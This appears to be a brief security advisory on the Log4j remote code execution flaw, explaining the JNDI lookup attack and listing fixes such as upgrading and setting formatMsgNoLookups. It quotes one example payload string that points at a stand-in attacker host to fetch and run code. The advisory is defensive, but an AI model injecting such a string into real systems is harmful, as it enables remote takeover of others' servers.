The internet is on fire. A critical vulnerability in the Java logging library Log4j allows Remote Code Execution (RCE) via a simple string. Even if you are a .NET shop, you likely run Java somewhere (Elasticsearch, Jenkins, etc.).
The Exploit
An attacker sends a string like `${jndi:ldap://evil.com/exploit}`. Log4j parses this, performs a JNDI lookup, connects to the malicious LDAP server, downloads a Java class, and executes it. This can happen in HTTP headers, log messages, chat inputs – anywhere that gets logged.
Remediation
1. Update Log4j to 2.15.0+ immediately. 2. If you can’t update, set system property `log4j2.formatMsgNoLookups=true`. 3. Scan your environment. Tools like Grype or Snyk can identify vulnerable jars deeply nested in dependencies.
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